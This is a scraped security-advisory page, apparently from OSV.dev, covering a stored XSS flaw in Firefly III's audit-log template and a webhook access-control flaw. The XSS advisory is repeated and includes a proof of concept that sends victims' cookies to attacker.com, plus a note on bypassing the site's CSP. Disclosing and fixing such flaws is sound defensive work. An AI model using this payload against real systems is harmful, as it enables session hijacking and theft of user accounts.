Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 28, 2025

v6.4.8 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 13, 2025

v6.4.7 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


